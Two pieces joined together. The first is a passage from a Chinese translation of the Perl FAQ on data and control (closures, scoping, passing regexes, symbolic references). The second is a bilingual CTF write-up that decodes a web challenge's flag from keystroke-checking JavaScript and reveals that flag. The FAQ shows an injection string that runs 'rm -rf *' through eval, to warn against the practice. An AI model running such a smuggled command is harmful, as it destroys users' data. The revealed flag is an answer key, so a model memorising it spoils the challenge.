reference)即可。参看 perlref 以及 perldsc,里面有更多资料。以下是一个范例: .PP .Vb 3 \& $person = {}; # new anonymous hash \& $person->{AGE} = 24; # set field AGE to 24 \& $person->{NAME} = "Nat"; # set field NAME to "Nat" .Ve .PP 如果你要的是更严谨的写法,看看 perltoot 。 .Sh "如何创建一个模块?" .IX Subsection "How do I create a module?" 一个模组就是一个放在同名档案里的包裹(package)。例如,Hello::There模组会放在Hello/There.pm。perlmod 里有详尽说明。Exporter 也会很有帮助。如果你正在写一个 C 或是混合了 C及 Perl 的模组,那麽你就该读 perlxstut 。 .PP The \f(CW\*(C`h2xs\*(C'\fR program will create stubs for all the important stuff for you: .PP .Vb 1 \& % h2xs -XA -n My::Module .Ve .PP The \f(CW\*(C`\-X\*(C'\fR switch tells \f(CW\*(C`h2xs\*(C'\fR that you are not using \f(CW\*(C`XS\*(C'\fR extension code. The \f(CW\*(C`\-A\*(C'\fR switch tells \f(CW\*(C`h2xs\*(C'\fR that you are not using the AutoLoader, and the \f(CW\*(C`\-n\*(C'\fR switch specifies the name of the module. See h2xs for more details. .Sh "如何创建一个类?" .IX Subsection "How do I create a class?" perltoot 里面有对於类和对象的介绍, perlobj 和 perlbot 也有。 .Sh "如何知道一个变量是否是污染的?" .IX Subsection "How can I tell if a variable is tainted?" 可以使用 Scalar::Util 模块中的 \fItainted()\fR 函数 (可从 CPAN 获取,也包含在 Perl 5.8.0 中)。参见 perlsec 中的 \*(L"Laundering and Detecting Tainted Data\*(R" 。 .Sh "什么是闭包?" .IX Subsection "What's a closure?" 关於闭包的说明,请看 perlref 。 .PP 闭包 (closure)是个精确但又很难解释的计算机科学名词。在 Perl 里面,闭包是以匿名函数的形式来实现,具有持续参照位於该函数范围之外的文字式变数值的能力。这些外部的文字变数会神奇地保留它们在闭包函数最初定义时的值 (深连结)。 .PP 如果一个程式语言容许函数递回另一个函数的话 (像 Perl 就是),闭包便具有意义。要注意的是,有些语言虽提供匿名函数的功能,但却无法正确处理闭包; Python 这个语言便是一例。如果要想多了解闭包的话,建议你去找本功能性程式设计的教科书来看。Scheme这个语言不仅支援闭包,更鼓励多加使用。 .PP 以下是个典型的产生函数的函数: .PP .Vb 3 \& sub add_function_generator { \& return sub { shift + shift }; \& } .Ve .PP .Vb 2 \& $add_sub = add_function_generator(); \& $sum = $add_sub->(4,5); # $sum is 9 now. .Ve .PP 闭包用起来就像是个 函数样板,其中保留了一些可以在稍後再填入的空格。 add_function_generator() 所递回的匿名函数在技术上来讲并不能算是一个闭包,因为它没有用到任何位在这个函数范围之外的文字变数。 .PP 把上面这个例子和下面这个 make_adder()函数对照一下,下面这个函数所递回的匿名函数中使用了一个外部的文字变数。这种指名外部函数的作法需要由 Perl递回一个适当的闭包,因此那个文字变数在匿名函数产生之时的值便永久地被锁进闭 包里。 .PP .Vb 4 \& sub make_adder { \& my $addpiece = shift; \& return sub { shift + $addpiece }; \& } .Ve .PP .Vb 2 \& $f1 = make_adder(20); \& $f2 = make_adder(555); .Ve .PP 这样一来 \f(CW\*(C`&$f1($n)\*(C'\fR 永远会是 20加上你传进去的值 \f(CW$n\fR ,而 \&\f(CW\*(C`&$f2($n)\*(C'\fR 将 永远会是 555加上你传进去的值 $n。\f(CW$addpiece\fR 的值会在闭包中保留下来。 .PP 闭包在比较实际的场合中也常用得到,譬如当你想把一些程式码传入一个函数时: .PP .Vb 2 \& my $line; \& timeout( 30, sub { $line = <STDIN> } ); .Ve .PP 如果要执行的程式码当初是以字串的形式传入的话,即 \f(CW'$line = <STDIN>'\fR ,那麽 timeout() 这个假想的函数在回到该函数被呼叫时所在的范围後便无法再撷取 \f(CW$line\fR 这个文字变数的值了。 .Sh "什么是变量自杀,我应该怎样防止它?" .IX Subsection "What is variable suicide and how can I prevent it?" 变数自杀指的是 (暂时或是永久)地失去一个变数的值。造成这个现象的原因是做范围界定的 my() 和 local()和闭包或 foreach()回圈变数及函数参数相互影响 所致。过去很容易偶尔丢失变量,现在就困难多了,可以试试这段代码: .PP .Vb 6 \& my $f = "foo"; \& sub T { \& while ($i++ < 3) { my $f = $f; $f .= "bar"; print $f, "\en" } \& } \& T; \& print "Finally $f\en"; .Ve .PP 有叁个 \*(L"bar\*(R" 加进去的 \f(CW$f\fR 变数应该是一个新的 \f(CW$f\fR (因为 \f(CW\*(C`my $f\*(C'\fR 在每个循环都应该创造一个新的区域变数)。然而,实际上并非如此。这个臭虫最新的 Perl 版本中已被修正 (在 5.004_05, 5.005_03 和 5.005_56 上测试过)。 .Sh "如何传递/返回一个{函数 Function, 文件句柄 FileHandle, 数组 Array,散列 Hash, 方法 Method, 正则表达式 Regex}?" .IX Subsection "How can I pass/return a {Function, FileHandle, Array, Hash, Method, Regex}?" 除了正规表现式这个特例外,你需要以传参考值的方式传资料给这些物件。参看 perlsub 中的 \*(L"Pass by Reference\*(R",里面有针对此问题的讨论,以及 perlref 里面有引用的资讯。 .PP 参见下面的 ``Passing Regexes'',学习如何传递正则表达式。 .IP "传递变量和函数" 4 .IX Item "Passing Variables and Functions" 一般的变数和函数是相当简单的:只要传一个指向现存的匿名变数或函数的参考值即可: .Sp .Vb 1 \& func( \e$some_scalar ); .Ve .Sp .Vb 2 \& func( \e@some_array ); \& func( [ 1 .. 10 ] ); .Ve .Sp .Vb 2 \& func( \e%some_hash ); \& func( { this => 10, that => 20 } ); .Ve .Sp .Vb 2 \& func( \e&some_func ); \& func( sub { $_[0] ** $_[1] } ); .Ve .IP "传递文件句柄" 4 .IX Item "Passing Filehandles" 在 Perl5.6 中,你可以用标量变量表示文件句柄,并将它与其他标量同样处理 .Sp .Vb 2 \& open my $fh, $filename or die "Cannot open $filename! $!"; \& func( $fh ); .Ve .Sp .Vb 2 \& sub func { \& my $passed_fh = shift; .Ve .Sp .Vb 2 \& my $line = <$fh>; \& } .Ve .Sp 在 Perl5.6 之前,必须用 \f(CW*FH\fR 或 \f(CW\*(C`\e*FH\*(C'\fR 语法。这叫做 \*(L"typeglobs\*(R"\-\-参见 perldata 中的 \*(L"Typeglobs and Filehandles\*(R" 和 perlsub 中的 \*(L"Pass by Reference\*(R"。 .IP "传递正则表达式" 4 .IX Item "Passing Regexes" 要传递正则表达式,你需要使用足够新的 Perl 发行,足以支持 \f(CW\*(C`qr//\*(C'\fR 构造方式的版本,传递字符串,使用一个捕获异常的 eval,或者其他更聪明的办法。 .Sp 这里有一个如何传递正则表达式字符串的例子,使用 \f(CW\*(C`qr//\*(C'\fR: .Sp .Vb 6 \& sub compare($$) { \& my ($val1, $regex) = @_; \& my $retval = $val1 =~ /$regex/; \& return $retval; \& } \& $match = compare("old McDonald", qr/d.*D/i); .Ve .Sp 注意 \f(CW\*(C`qr//\*(C'\fR 如何允许在后面加上标志。这个模式在编译期被编译,尽管它后来才执行。 \f(CW\*(C`qr//\*(C'\fR 表示法虽然好用,但是直到 5.005 发行中才引入。在那之前,你必须用不直观的办法。例如,如果没有 \f(CW\*(C`qr//\*(C'\fR 的话: .Sp .Vb 6 \& sub compare($$) { \& my ($val1, $regex) = @_; \& my $retval = eval { $val1 =~ /$regex/ }; \& die if $@; \& return $retval; \& } .Ve .Sp .Vb 1 \& $match = compare("old McDonald", q/($?i)d.*D/); .Ve .Sp 确保你没有任何这样的东西: .Sp .Vb 1 \& return eval "\e$val =~ /$regex/"; # WRONG .Ve .Sp 否则别人会靠双引号括起来的字串以及 eval 双重解译的本质而偷偷插入 shell指令来作坏事。例如: .Sp .Vb 1 \& $pattern_of_evil = 'danger ${ system("rm -rf * &") } danger'; .Ve .Sp .Vb 1 \& eval "\e$string =~ /$pattern_of_evil/"; .Ve .Sp 想学非常非常聪明的方法的读者可以参考 O'Reilly 出的 Mastering Regular Expressions这本书,作者是 Jeffrey Friedl。其中第 273页的 Build_MatchMany_Function()特别的有趣。在 perlfaq2中可以找到有关本书 的资料。 .IP "传递方法" 4 .IX Item "Passing Methods" 要传递一个对象方法给一个函数,可以这样做: .Sp .Vb 7 \& call_a_lot(10, $some_obj, "methname") \& sub call_a_lot { \& my ($count, $widget, $trick) = @_; \& for (my $i = 0; $i < $count; $i++) { \& $widget->$trick(); \& } \& } .Ve .Sp 或者,使用一个闭包来包含这个对象,它的方法调用及参数: .Sp .Vb 6 \& my $whatnot = sub { $some_obj->obfuscate(@args) }; \& func($whatnot); \& sub func { \& my $code = shift; \& &$code(); \& } .Ve .Sp 也可以研究 UNIVERSAL 类别中的 can()方法 (附於标准 Perl 版本中)。 .Sh "How do I create a static variable?" .IX Subsection "如何创建一个静态变量?" 就像与 Perl相关的其他事情一样,``条条大路通罗马'' (TMTOWTDI)。对其他语言来说叫做 ``静态变数'' (static variable)的东西,在 Perl里面可能是一个函数私有的变数(只有该函数自己看得到,且在不同的呼叫间保持定值),或是一个档案私有(file-private)变数(只有同一个档案中的函数才看得到)。 .PP 以下就是实作函数私有变数的程式: .PP .Vb 5 \& BEGIN { \& my $counter = 42; \& sub prev_counter { return --$counter } \& sub next_counter { return $counter++ } \& } .Ve .PP prev_counter() 和 next_counter() 将会共用一个於编译时初始化的私有变数 $counter。 .PP 要声明一个档案私有(file-private)变数,你仍然得使用 my(),将它放在档案开头处最外围。假设现在是在 Pax.pm 这个档案里: .PP .Vb 2 \& package Pax; \& my $started = scalar(localtime(time())); .Ve .PP .Vb 1 \& sub begun { return $started } .Ve .PP 当用 \f(CW\*(C`use Pax\*(C'\fR 或 \f(CW\*(C`require Pax\*(C'\fR 载入此模组时,这个变数就会被初始化。不过它不会被资源回收,像其他出了有效范围的变数那样,因为 begun()函数要用到它,但是没有其他函数能撷取它。这个变数不能以 \f(CW$Pax::started\fR 的形式来撷取,因为它所存在的范围与此包裹无关。它存在的范围是这个档案。可想见地,一个档案里可以放好几个包裹,而所有的包裹都撷取同一个私有变数,但从另一个档案中,即使是属於同一个包裹(package),也不能取得它的值。 .PP 参见 perlsub 中的 \*(L"Persistent Private Variables\*(R" 的细节. .Sh "What's the difference between dynamic and lexical (static) scoping? Between \fIlocal()\fP and \fImy()\fP?" .IX Subsection "动态和静态作用域有什么区别?local() 和 my() 呢?" local($x) 将全域变数 $x的原值存起来,并在此函数执行期间赋予一个新 值,此值可以从此函数所呼叫的其他函数里看见。这整个步骤是在执行期间完成的,所以才叫做动态范围选取 (dynamic scoping)。local()影响的是全域变数,或者称作包裹变数或动态变数。 .PP \&\f(CW\*(C`my($x)\*(C'\fR 会创造一个只能在目前这个函数里看得见的新变数。这个步骤是在编译期完成(compile-time),所以称作文字式或是静态范围选取。my()总是作用在私有变数,也称作文字式变数或(不当地)称作静态(范围选取)变数。 .PP 例如: .PP .Vb 3 \& sub visible { \& print "var has value $var\en"; \& } .Ve .PP .Vb 4 \& sub dynamic { \& local $var = 'local'; # 为全局变量暂时赋值 \& visible(); # 调用 $var 变量 \& } .Ve .PP .Vb 4 \& sub lexical { \& my $var = 'private'; # 新的私有变量 $var \& visible(); # (在 sub 作用域之外不可见) \& } .Ve .PP .Vb 1 \& $var = 'global'; .Ve .PP .Vb 3 \& visible(); # prints global \& dynamic(); # prints local \& lexical(); # prints global .Ve .PP 你可以发现在整个过程中 ``private''这个值都印不出来。那是因为 $var的值只存在於lexical() 函数的区块里面,对它所呼叫的函数来说是看不到的。 .PP 总结来说,local()不会产生你想像中的私有、区域变数。它只是将一个暂时的值授予一个全域变数。如果你要的是私有的变数,那麽 my() 才是你要找的。 .PP 参见 perlsub 中的 \*(L"Private Variables via \fImy()\fR\*(R" 以及 \&\*(L"Temporary Values via \fIlocal()\fR\*(R" 来获取详情 .Sh "在存在同名内部变量的作用域中,如何存取一个动态变量?" .IX Subsection "How can I access a dynamic variable while a similarly named lexical is in scope?" 如果你知道你所在的是哪一个包裹(package)的话,你可以直接指名,就像写 \f(CW$Some_Pack::var\fR 这样。注意 \f(CW$::var\fR 这个写法 并非表示目前此包裹 (package) 内的动态变数 $var,而是指在 main包裹(package) 里的那个,就等价於 \f(CW$main::var\fR 。 .PP .Vb 3 \& use vars '$var'; \& local $var = "global"; \& my $var = "lexical"; .Ve .PP .Vb 2 \& print "lexical is $var\en"; \& print "global is $main::var\en"; .Ve .PP 可选的,可以使用编译器指令 \fIour()\fR 来在当前静态作用域中引入动态变量 .PP .Vb 2 \& require 5.006; # our() did not exist before 5.6 \& use vars '$var'; .Ve .PP .Vb 2 \& local $var = "global"; \& my $var = "lexical"; .Ve .PP .Vb 1 \& print "lexical is $var\en"; .Ve .PP .Vb 4 \& { \& our $var; \& print "global is $var\en"; \& } .Ve .Sh "深连接和浅连接有什么不同?" .IX Subsection "What's the difference between deep and shallow binding?" 在深连结中,匿名函数中所用到的文字式变数值是以该函数产生时所在的范围为准。在浅连结中,这些变数值是以函数被呼叫时所在的范围为准,如果在这个范围中恰巧有同名的变数,便使用这些当地变数的值。Perl总是使用文字式变数(就是以 my()创造的)式的深连结。然而,动态变数(也称作全域(global),区域(local),或包裹(package)变数)在功效上是浅连结。就把这当作是少用它们的另一个理由好 了。请参考 "什么是闭包" 一节。 .ie n .Sh "为什么 "my($foo) = <FILE>;" 不工作?" .el .Sh "为什么 ``my($foo) = <FILE>;''不工作?" .IX Subsection "Why doesn't ""my($foo) = <FILE>;"" work right?" local()会把 =号右边以序列情境来对待。而 <FH> 这个阅读的 动作,就像 Perl里许多的函数以及运算子一样,会自动分辨出自己被呼叫时所在的情境并且采取适当的作法。一般来说,scalar()函数可以帮点忙。这个函数实际上对资料本身不会有任何作用(与一般所认为的相反),但是会告诉它所作用的函数要以对待纯量值的方法来运算。如果那个函数没有预先定义好碰到纯量情境的行为,那麽它当然也帮不了你(例如 sort() 函数)。 .PP 然而,在以上这个例子 (local...)中,只要省略括号便可强制使用标量情境: .PP .Vb 3 \& local($foo) = <FILE>; # WRONG \& local($foo) = scalar(<FILE>); # ok \& local $foo = <FILE>; # right .Ve .PP 其实在这个例子中,或许你该改用文字式变数 (lexical variables),不过会碰到 的问题跟上面一样: .PP .Vb 2 \& my($foo) = <FILE>; # WRONG \& my $foo = <FILE>; # right .Ve .Sh "如何重定义一个内建函数,操作符 或者方法?" .IX Subsection "How do I redefine a builtin function, operator, or method?" 为什麽要这麽做? :\-) .PP 如果你要覆盖掉某个内建函数,例如说 open(),那你得将其定义从另一个模组载 入。参考 perlsub 中的 Overriding Builtin Functions。在 \*(L"Class::Template\*(R" 里面也有个范例。 .PP 如果你要覆盖掉一个 Perl运算子,像是 \f(CW\*(C`+\*(C'\fR 或 \f(CW\*(C`**\*(C'\fR, 那你该使用 \f(CW\*(C`use overload\*(C'\fR 这个编用,在 overload 中有记载。 .PP 如果你要覆盖父类别 (parent class)里的方法呼叫 (method calls),请看 perltoot 中的 Overridden Methods 。 .Sh "调用函数时 &foo 和 foo() 的形式有什么不同?" .IX Subsection "What's the difference between calling a function as &foo and foo()?" 当你用 &foo的方式呼叫一个函数时,你等於让这个函数撷取你目前 @_里面的值,同时也跳过原型定义 (prototypes)不用。这表式此函数抓到的是你当时的 @_, 而非一个空的 @_!虽然严格讲起来它也不能算是个 bug (但是在 perlsub里面是这麽说的)但在大部份情况下,这也算不上是个特别功能。 .PP 当你用 &foo()的方式呼叫你的函数时,你会得到一个新的 @_,但是原型定义 仍然会被避开不用。 .PP 在一般情况下,你该用 foo()的方式去呼叫函数。只有在编译器已事先知道这个函数的定义时,括号才能省略,譬如当这个函数所在的模组或包裹被 use (但如果是被 require则不行)时,或是透过先前提及或 use subs宣告等方法,让编译器先接触到这个函数的定义。用这种呼叫方式,即使是当括号省掉时,你都会得到一个乾净的 @_,不会有任何不该出现的旧值残留在上面。 .Sh "如何创建一个分支语句?" .IX Subsection "How do I create a switch or case statement?" 这个问题在 perlsyn 文件里有更详尽的解释。简单来说,因为 Perl本身已提供了多种不同的条件测试方法可供使用 (数值比较、字串比较、 glob比较、正规表示式 对应、覆盖比较,及其它),所以并没有正式的 case叙述语法。虽然自 perl1起这就一直是许多人期盼的一个项目,但因 Larry无法决定怎样才是呈现这功能的最好方法,因此还是将它略掉。 .PP 从 Perl 5.8 开始,要使用 swtich 和 case,可以使用 Switch 扩展,就是这样: .PP .Vb 1 \& use Switch; .Ve .PP 此后就可以用 switch 和 case 了. It is not as fast as it could be because it's not really part of the language (it's done using source filters) but it is available, and it's very flexible. .PP But if one wants to use pure Perl, the general answer is to write a construct like this: .PP .Vb 6 \& for ($variable_to_test) { \& if (/pat1/) { } # do something \& elsif (/pat2/) { } # do something else \& elsif (/pat3/) { } # do something else \& else { } # default \& } .Ve .PP 下面这个简单的 switch范例以模式对应为基础。我们将要做的是对储存在 $whatchamacallit里面的参考值 (reference)的类型进行多重条件的判断。【译注:$whatchamacallit 函意为 $what_you_might_call_it】 .PP .Vb 1 \& SWITCH: for (ref $whatchamacallit) { .Ve .PP .Vb 1 \& /^$/ && die "not a reference"; .Ve .PP .Vb 4 \& /SCALAR/ && do { \& print_scalar($$ref); \& last SWITCH; \& }; .Ve .PP .Vb 4 \& /ARRAY/ && do { \& print_array(@$ref); \& last SWITCH; \& }; .Ve .PP .Vb 4 \& /HASH/ && do { \& print_hash(%$ref); \& last SWITCH; \& }; .Ve .PP .Vb 4 \& /CODE/ && do { \& warn "can't print function ref"; \& last SWITCH; \& }; .Ve .PP .Vb 1 \& # DEFAULT .Ve .PP .Vb 1 \& warn "User defined type skipped"; .Ve .PP .Vb 1 \& } .Ve .PP See \f(CW\*(C`perlsyn/"Basic BLOCKs and Switch Statements"\*(C'\fR for many other examples in this style. .PP Sometimes you should change the positions of the constant and the variable. For example, let's say you wanted to test which of many answers you were given, but in a case-insensitive way that also allows abbreviations. You can use the following technique if the strings all start with different characters or if you want to arrange the matches so that one takes precedence over another, as \f(CW"SEND"\fR has precedence over \&\f(CW"STOP"\fR here: .PP .Vb 6 \& chomp($answer = <>); \& if ("SEND" =~ /^\eQ$answer/i) { print "Action is send\en" } \& elsif ("STOP" =~ /^\eQ$answer/i) { print "Action is stop\en" } \& elsif ("ABORT" =~ /^\eQ$answer/i) { print "Action is abort\en" } \& elsif ("LIST" =~ /^\eQ$answer/i) { print "Action is list\en" } \& elsif ("EDIT" =~ /^\eQ$answer/i) { print "Action is edit\en" } .Ve .PP A totally different approach is to create a hash of function references. .PP .Vb 6 \& my %commands = ( \& "happy" => \e&joy, \& "sad", => \e&sullen, \& "done" => sub { die "See ya!" }, \& "mad" => \e&angry, \& ); .Ve .PP .Vb 7 \& print "How are you? "; \& chomp($string = <STDIN>); \& if ($commands{$string}) { \& $commands{$string}->(); \& } else { \& print "No such command: $string\en"; \& } .Ve .Sh "如何捕获对未定义变量,函数或方法的访问?" .IX Subsection "How can I catch accesses to undefined variables, functions, or methods?" 在 perlsub 中的 \*(L"Autoloading\*(R" 和 perltoot 中的 \*(L"\s-1AUTOLOAD:\s0 Proxy Methods\*(R" 里 提到的 AUTOLOAD 方法让你能捕捉对於未定义函数与方法的呼叫。 .PP When it comes to undefined variables that would trigger a warning under \f(CW\*(C`use warnings\*(C'\fR, you can promote the warning to an error. .PP .Vb 1 \& use warnings FATAL => qw(uninitialized); .Ve .Sh "为什么找不到包含在同一个文件中的方法?" .IX Subsection "Why can't a method included in this same file be found?" 一些可能的原因:你用的继承给搞混了、你拼错了该方法的名字,或是物件的类别错误。这些事在 perltoot里都有更详尽的说明。同时你也可以用 \f(CW\*(C`print ref($object)\*(C'\fR 来找出 \f(CW$object\fR 这个物件是被归到哪个类别底下。 .PP 另一个可能的原因是你在 Perl还不知道这个包裹 (package)存在之前便将某个类别名称在间接式物件语法中使用 (例如 \f(CW\*(C`find Guru "Samy"\*(C'\fR)。最好是在开始使用你的包裹前,先确定都已经先把它们定义好了,如果你用的是 use 而非 require的话,这件事便会自动处理好。不然的话,确定你使用箭头式语法 (例如,\f(CW\*(C`Guru\->find("Samy")\*(C'\fR))。在perlobj 里面对於物件的记号有详尽解释。 .PP Make sure to read about creating modules in perlmod and the perils of indirect objects in \*(L"Method Invocation\*(R" in perlobj. .Sh "如何找到当前的包?" .IX Subsection "How can I find out my current package?" 如果只是一个随意的程式的话,你可以用下面的方法找出目前正被编译的包裹为何: .PP .Vb 1 \& my $packname = __PACKAGE__; .Ve .PP 但如果是一个方法的话,而且印出的错误讯息中要包含呼叫此方法的物件 (不见得就是把这个方法编译进去的那个物件)则: .PP .Vb 5 \& sub amethod { \& my $self = shift; \& my $class = ref($self) || $self; \& warn "called me from a $class object"; \& } .Ve .Sh "如何注释掉大块的 perl 代码?" .IX Subsection "How can I comment out a large block of perl code?" 用内嵌 POD格式的方法把程式码变注解。将要注释掉的块包含在 \s-1POD\s0 标记内, 例如 \f(CW\*(C`=for nobody\*(C'\fR 和 \f(CW\*(C`=cut\*(C'\fR (标志着 \s-1POD\s0 块的结束). .PP .Vb 1 \& # 这是程式 .Ve .PP .Vb 1 \& =for nobody .Ve .PP .Vb 1 \& all of this stuff .Ve .PP .Vb 2 \& 接下来此处所有的文字都会被忽略 .Ve .PP .Vb 1 \& =cut .Ve .PP .Vb 1 \& # program continues .Ve .PP The pod directives cannot go just anywhere. You must put a pod directive where the parser is expecting a new statement, not just in the middle of an expression or some other arbitrary grammar production. .PP See perlpod for more details. .Sh "How do I clear a package?" .IX Subsection "How do I clear a package?" Use this code, provided by Mark-Jason Dominus: .PP .Vb 17 \& sub scrub_package { \& no strict 'refs'; \& my $pack = shift; \& die "Shouldn't delete main package" \& if $pack eq "" || $pack eq "main"; \& my $stash = *{$pack . '::'}{HASH}; \& my $name; \& foreach $name (keys %$stash) { \& my $fullname = $pack . '::' . $name; \& # Get rid of everything with that name. \& undef $$fullname; \& undef @$fullname; \& undef %$fullname; \& undef &$fullname; \& undef *$fullname; \& } \& } .Ve .PP Or, if you're using a recent release of Perl, you can just use the \fISymbol::delete_package()\fR function instead. .Sh "How can I use a variable as a variable name?" .IX Subsection "How can I use a variable as a variable name?" Beginners often think they want to have a variable contain the name of a variable. .PP .Vb 3 \& $fred = 23; \& $varname = "fred"; \& ++$$varname; # $fred now 24 .Ve .PP This works \fIsometimes\fR, but it is a very bad idea for two reasons. .PP The first reason is that this technique \fIonly works on global variables\fR. That means that if \f(CW$fred\fR is a lexical variable created with \fImy()\fR in the above example, the code wouldn't work at all: you'd accidentally access the global and skip right over the private lexical altogether. Global variables are bad because they can easily collide accidentally and in general make for non-scalable and confusing code. .PP Symbolic references are forbidden under the \f(CW\*(C`use strict\*(C'\fR pragma. They are not true references and consequently are not reference counted or garbage collected. .PP The other reason why using a variable to hold the name of another variable is a bad idea is that the question often stems from a lack of understanding of Perl data structures, particularly hashes. By using symbolic references, you are just using the package's symbol-table hash (like \f(CW%main::\fR) instead of a user-defined hash. The solution is to use your own hash or a real reference instead. .PP .Vb 3 \& $USER_VARS{"fred"} = 23; \& $varname = "fred"; \& $USER_VARS{$varname}++; # not $$varname++ .Ve .PP There we're using the \f(CW%USER_VARS\fR hash instead of symbolic references. Sometimes this comes up in reading strings from the user with variable references and wanting to expand them to the values of your perl program's variables. This is also a bad idea because it conflates the program-addressable namespace and the user-addressable one. Instead of reading a string and expanding it to the actual contents of your program's own variables: .PP .Vb 2 \& $str = 'this has a $fred and $barney in it'; \& $str =~ s/(\e$\ew+)/$1/eeg; # need double eval .Ve .PP it would be better to keep a hash around like \f(CW%USER_VARS\fR and have variable references actually refer to entries in that hash: .PP .Vb 1 \& $str =~ s/\e$(\ew+)/$USER_VARS{$1}/g; # no /e here at all .Ve .PP That's faster, cleaner, and safer than the previous approach. Of course, you don't need to use a dollar sign. You could use your own scheme to make it less confusing, like bracketed percent symbols, etc. .PP .Vb 2 \& $str = 'this has a %fred% and %barney% in it'; \& $str =~ s/%(\ew+)%/$USER_VARS{$1}/g; # no /e here at all .Ve .PP Another reason that folks sometimes think they want a variable to contain the name of a variable is because they don't know how to build proper data structures using hashes. For example, let's say they wanted two hashes in their program: \f(CW%fred\fR and \f(CW%barney\fR, and that they wanted to use another scalar variable to refer to those by name. .PP .Vb 2 \& $name = "fred"; \& $$name{WIFE} = "wilma"; # set %fred .Ve .PP .Vb 2 \& $name = "barney"; \& $$name{WIFE} = "betty"; # set %barney .Ve .PP This is still a symbolic reference, and is still saddled with the problems enumerated above. It would be far better to write: .PP .Vb 2 \& $folks{"fred"}{WIFE} = "wilma"; \& $folks{"barney"}{WIFE} = "betty"; .Ve .PP And just use a multilevel hash to start with. .PP The only times that you absolutely \fImust\fR use symbolic references are when you really must refer to the symbol table. This may be because it's something that can't take a real reference to, such as a format name. Doing so may also be important for method calls, since these always go through the symbol table for resolution. .PP In those cases, you would turn off \f(CW\*(C`strict 'refs'\*(C'\fR temporarily so you can play around with the symbol table. For example: .PP .Vb 5 \& @colors = qw(red blue green yellow orange purple violet); \& for my $name (@colors) { \& no strict 'refs'; # renege for the block \& *$name = sub { "<FONT COLOR='$name'>@_</FONT>" }; \& } .Ve .PP All those functions (\fIred()\fR, \fIblue()\fR, \fIgreen()\fR, etc.) appear to be separate, but the real code in the closure actually was compiled only once. .PP So, sometimes you might want to use symbolic references to directly manipulate the symbol table. This doesn't matter for formats, handles, and subroutines, because they are always global\*(--you can't use \fImy()\fR on them. For scalars, arrays, and hashes, though\*(--and usually for subroutines\*(-- you probably only want to use hard references. .ie n .Sh "What does ""bad interpreter"" mean?" .el .Sh "What does ``bad interpreter'' mean?" .IX Subsection "What does bad interpreter mean?" The \*(L"bad interpreter\*(R" message comes from the shell, not perl. The actual message may vary depending on your platform, shell, and locale settings. .PP If you see \*(L"bad interpreter \- no such file or directory\*(R", the first line in your perl script (the \*(L"shebang\*(R" line) does not contain the right path to perl (or any other program capable of running scripts). Sometimes this happens when you move the script from one machine to another and each machine has a different path to perl\-\-\-/usr/bin/perl versus /usr/local/bin/perl for instance. .PP If you see \*(L"bad interpreter: Permission denied\*(R", you need to make your script executable. .PP In either case, you should still be able to run the scripts with perl explicitly: .PP .Vb 1 \& % perl script.pl .Ve .PP If you get a message like \*(L"perl: command not found\*(R", perl is not in your \s-1PATH\s0, which might also mean that the location of perl is not where you expect it so you need to adjust your shebang line. .SH "AUTHOR AND COPYRIGHT" .IX Header "AUTHOR AND COPYRIGHT" Copyright (c) 1997\-2002 Tom Christiansen and Nathan Torkington. All rights reserved. .PP This documentation is free; you can redistribute it and/or modify it under the same terms as Perl itself. .PP Irrespective of its distribution, all code examples in this file are hereby placed into the public domain. You are permitted and encouraged to use this code in your own programs for fun or for profit as you see fit. A simple comment in the code giving credit would be courteous but is not required. .SH "译者" .B 陈彦铭,萧百龄,两只老虎工作室
sec-knowleage
# Weekands of hacker (web 150) Hint: : Format answer is h4ck1t{<something>}. You must type right flag on keyboard, where? Feel you real hacker. ## ENG [PL](#pl-version) This was a very poor and stupid task. We don't get anything here, we just have to look for something strange. It was technically trivial, but tedious to find the actual task. After the hint was relased we moved our focus to the main page of the CTF Dashboard. There were some fancy linux consoles in html with animations, which seems to match the hint. We browsed through the files there and we found one which was interesting -> https://ctf.com.ua/js/jquery.js The interesting part was that it's not jquery at all. It's the JS code which is running the consoles animations. Once we go through it there is an interesting part: ```js typer:function(key){ $m=[70,70,71,79,86,74,71,83,80,74,77,86,81,95];//times alt is pressed for Access Granted $c=Typer.counter-211;if (!Typer.failed&// speed of the Typer $c>=0){if (!(key==$m[$c]-$c)){Typer.failed=true;// remove all existing popu Typer.makeDenied();}if($c+1==$m.length){Typer.makeAccess()}}// remove all existing popuccess(); }, ``` It seems if we match the condition, one of the consoles will show "access granted" popup. The condition here is trivial: ``` $m=[70,70,71,79,86,74,71,83,80,74,77,86,81,95] // if key==$m[$c]-$c)` ``` where `$c` is just loop couter, we just run: ```python "".join([chr(c-i) for i,c in enumerate([70,70,71,79,86,74,71,83,80,74,77,86,81,95])]) ``` and get the flag: `h4ck1t{feelrealhacker}` ## PL version To było dość słabe i głupie zadanie. Nie dostajemy tutaj nic i musimy poszukać sobie czegoś dziwnego. Zadanie było technicznie trywialne ale problemem było samo znalezienie zadania. Po udostępnieniu podpowiedzi skierowaliśmy się do głownej strony CTFa, gdzie były linuxowe konsole w htmlu z jakimiś animacjami, co pasowało to podpowiedzi. Przeglądając pliki na stronie trafiliśmy na jeden ciekawy -> https://ctf.com.ua/js/jquery.js Ciekawe jest to, że to wcale nie jquery. To kod generujący animacje na konsolach. Trafiamy tam na ciekawy fragment: ```js typer:function(key){ $m=[70,70,71,79,86,74,71,83,80,74,77,86,81,95];//times alt is pressed for Access Granted $c=Typer.counter-211;if (!Typer.failed&// speed of the Typer $c>=0){if (!(key==$m[$c]-$c)){Typer.failed=true;// remove all existing popu Typer.makeDenied();}if($c+1==$m.length){Typer.makeAccess()}}// remove all existing popuccess(); }, ``` Wygląda na to, że jeśli spełnimy warunek, jedna z konsol pokaże popup "access granted". Warunek jest trywialny: ``` $m=[70,70,71,79,86,74,71,83,80,74,77,86,81,95] // if key==$m[$c]-$c)` ``` gdzie `$c` to licznik pętli, więc uruchamiamy: ```python "".join([chr(c-i) for i,c in enumerate([70,70,71,79,86,74,71,83,80,74,77,86,81,95])]) ``` i dostajemy flagę: `h4ck1t{feelrealhacker}`
sec-knowleage
